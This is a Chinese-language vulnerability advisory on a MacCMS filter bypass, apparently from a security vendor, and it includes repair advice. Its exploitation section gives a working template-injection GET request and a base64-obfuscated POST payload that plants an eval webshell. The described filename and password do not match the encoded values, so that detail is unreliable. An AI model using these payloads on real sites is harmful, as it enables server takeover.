蘋果cms系統(tǒng),是目前很多電影網(wǎng)站都在使用的一套網(wǎng)站系統(tǒng),開源,免費(fèi),擴(kuò)展性較好,支持一鍵采集,偽靜態(tài)化,高并發(fā)的同時(shí)承載,獲得的很多站長的喜歡,于近日被網(wǎng)站安全檢測發(fā)現(xiàn),maccms存在網(wǎng)站漏洞,sql注入盲射獲取數(shù)據(jù)庫的管理員賬號密碼,關(guān)于該漏洞的詳情,我們仔細(xì)分析看下.
maccms漏洞分析與修復(fù)
蘋果CMS采用的是php語言開發(fā)的代碼,使用的數(shù)據(jù)庫是mysql類型,這種架構(gòu)是比較常用的,也是比較穩(wěn)定的,但是在安全方面出現(xiàn)的問題是比較多的,這次發(fā)現(xiàn)的是sql注入漏洞,在網(wǎng)站的根目錄下的inc文件里的module目錄下的vod.php代碼如下圖所示:
代碼里的empty($wd函數(shù),在進(jìn)行判斷如果是,或者不是的邏輯過程當(dāng)中,會將前段用戶訪問帶來的參數(shù),進(jìn)行安全過濾,我們跟進(jìn)代碼來追尋到蘋果CMS的配置文件,在function.php配置文件代碼李看到對網(wǎng)站的所有請求方式包括get、post、cookies的提交方式都強(qiáng)制性的進(jìn)行了安全轉(zhuǎn)義。網(wǎng)站漏洞問題的發(fā)生就在這里.
我們仔細(xì)又發(fā)現(xiàn),maccms使用了360安全提供的防止sql注入攔截代碼。360的防止sql注入是好幾年前開發(fā),并公開在網(wǎng)絡(luò)上的,已經(jīng)很久沒有更新維護(hù)了并且還存在sql注入代碼繞過的情況,參數(shù)值之間進(jìn)行實(shí)體轉(zhuǎn)換的時(shí)候,360的sql攔截規(guī)則沒有對空白符以及反斜杠進(jìn)行攔截,導(dǎo)致可以繞過插入惡意參數(shù),直接請求到蘋果cms后端數(shù)據(jù)庫中去,獲取蘋果CMS的管理員賬號密碼。
我們來看下如何利用蘋果CMS的漏洞,從上面漏洞發(fā)生的細(xì)節(jié)里可以看出,是因?yàn)閿r截sql注入語句的過程中存在可以被繞過的漏洞。我們來使用%0b,以及空格對代碼進(jìn)行注入,sql語句在拼接中,可以插入反斜杠進(jìn)行單引號的報(bào)錯(cuò),從而繞過蘋果CMS的安全攔截。語句如下:
GET請求:
http://127.0.0.1/index.PHP?m=vod-search&wd={if-A:phpinfo()}{endif-A}
可以直接看php的具體信息
POST請求
可以直接獲取webshell
http://127.0.0.1/index.PHP?m=vod-search
POST內(nèi)容如下:
wd={if-A:print(fputs%28fopen%28_decode%28Yy5waHA%29,w%29,_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}
可以直接生成帶有一句話木馬后門的代碼,文件名為safe.php,一句話木馬鏈接密碼是safe.
如何修復(fù)蘋果cms網(wǎng)站漏洞呢?
對網(wǎng)站漏洞的修復(fù)我們要知道漏洞產(chǎn)生的原因,以及為何會繞過蘋果CMS的安全過濾,maccms使用的addslash安全函數(shù),sql中沒有加單引號的安全防護(hù),in字句也很容易忘記加引號,再一個(gè)后期處理安全過濾的時(shí)候可以插入單引號,stripslash導(dǎo)致可以加入單引號,編解碼導(dǎo)致繞過addslash,使用urldecode編碼進(jìn)行注入繞過,根據(jù)上面提出的漏洞繞過,我們SINE安全提出漏洞修復(fù)的建議是:對URL解碼進(jìn)行雙層的轉(zhuǎn)義,對get,post,cookies的攔截規(guī)則進(jìn)行安全更新,加強(qiáng)空格,以及百分符號的攔截,如果對程序代碼不熟悉的話建議咨詢專業(yè)的網(wǎng)站安全公司來處理解決。
申請創(chuàng)業(yè)報(bào)道,分享創(chuàng)業(yè)好點(diǎn)子。點(diǎn)擊此處,共同探討創(chuàng)業(yè)新機(jī)遇!